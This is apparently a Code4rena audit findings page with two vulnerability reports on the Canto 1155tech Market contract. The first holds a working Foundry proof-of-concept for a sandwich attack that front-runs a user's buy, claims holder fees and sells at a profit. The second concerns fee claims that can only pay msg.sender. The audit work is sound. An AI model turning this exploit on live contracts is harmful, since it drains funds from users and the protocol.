Canto Application Specific Dollars and Bonding Curves for 1155s - zhaojie's results

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L275

Vulnerability details

Impact

The attacker profited from Market through the sandwich attack, causing Market to lose money.

Proof of Concept

The attacker listens to the buy request in the Market, the attacker starts another buy transaction before the buy, and claimHolderFee and sell after the buy, and the fee obtained by the attacker can be more than the difference between the buy and sell.

Put the test code into market.t.ol and run the test to see the current user's balance increase:

The balance before the attack: 1000000000000000000 The balance after the attack: 2016682666666666662

    function testBuySandwich() public {
        testCreateNewShare();

        //The attacker's buy transaction
        token.approve(address(market), 1e18);
        console.log(token.balanceOf(address(this)));
        market.buy(1, 10);
        console.log(token.balanceOf(address(this)));

        //Target transaction
        vm.startPrank(alice);
        token.mint(alice, 1e70);
        token.approve(address(market), 1e70);
        market.buy(1, 100);
        vm.stopPrank();

        //The attacker's `claimHolderFee` and `sell` transaction
        market.claimHolderFee(1);
        console.log(token.balanceOf(address(this)));
        market.sell(1, 10);
        //The balance after the attack will be larger than before
        console.log(token.balanceOf(address(this)));
    }

    contract MockERC20 is ERC20 {
        constructor(
            string memory name,
            string memory symbol,
            uint256 initialSupply
        ) ERC20(name, symbol) {
            _mint(msg.sender, initialSupply);
        }
        //Add mint function
        function mint(address recver, uint256 amount) public {
            _mint(recver, amount);
        }
    }
}

forge test --match-test testBuySandwich -vv

Logs:
  1000000000000000000
  942400000000000002
  978738499999999990
  2016682666666666662

Let's take a look at how fees are calculated in the Market:

    function _getRewardsSinceLastClaim(uint256 _id) internal view returns (uint256 amount) {
        uint256 lastClaimedValue = rewardsLastClaimedValue[_id][msg.sender];
        amount =
            ((shareData[_id].shareHolderRewardsPerTokenScaled - lastClaimedValue) * tokensByAddress[_id][msg.sender]) /
            1e18;
    }

shareHolderRewardsPerTokenScaled will increase buy after talice executes the buy transaction, lastClaimedValue and tokensByAddress[_id][msg.sender] are determined by the buy executed by the attacker before alice executes the buy. The attacker executes the buy using a new account lastClaimedValue is 0, tokensByAddress[_id][msg.sender] is the amount the attacker buys,

After obtaining the fee, the attacker executes the sell operation. As long as the fee obtained is more than the cost of buy and sell, the attacker can make profits.

Judging from the price curve used in the test code, the attacker's balance doubled.

Tools Used

vscode manual

Recommended Mitigation Steps

Change the way fee is calculated

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L263

Vulnerability details

Impact

User may not receive token when claim fees, resulting in loss of user funds. The three claim fee functions in the Market: claimHolderFee claimCreatorFee claimPlatformFee, they all have the same problem.

Proof of Concept

In general, defi protocols can specify recipients when claiming fees, because msg.sender may not be able to accept the token

The reasons are as follows:

1. Some tokens have the blacklist function. msg.sender is added to the blacklist. Note that from here: https://github.com/d-xo/weird-erc20#tokens-with-blocklists we can see that USDC employs a blocklisting feature.
2. msg.sender is a contract account, if the contract code is not updatable, msg.sender may not be able to send the token.

Market#claimHolderFee use msg.sender as the recipient:

    function claimHolderFee(uint256 _id) external {
        uint256 amount = _getRewardsSinceLastClaim(_id);
        rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled;
        if (amount > 0) {
@>         SafeERC20.safeTransfer(token, msg.sender, amount);
        }
        emit HolderFeeClaimed(msg.sender, _id, amount);
    }

claimCreatorFee claimPlatformFee also uses msg.sender as the receiver.

Tools Used

vscode manual

Recommended Mitigation Steps

-    function claimHolderFee(uint256 _id) external {
+    function claimHolderFee(uint256 _id,address receiver) external {
        uint256 amount = _getRewardsSinceLastClaim(_id);
        rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled;
        if (amount > 0) {
-           SafeERC20.safeTransfer(token, msg.sender, amount);
+           SafeERC20.safeTransfer(token, receiver, amount);
        }
        emit HolderFeeClaimed(msg.sender, _id, amount);
    }

Assessed type

Other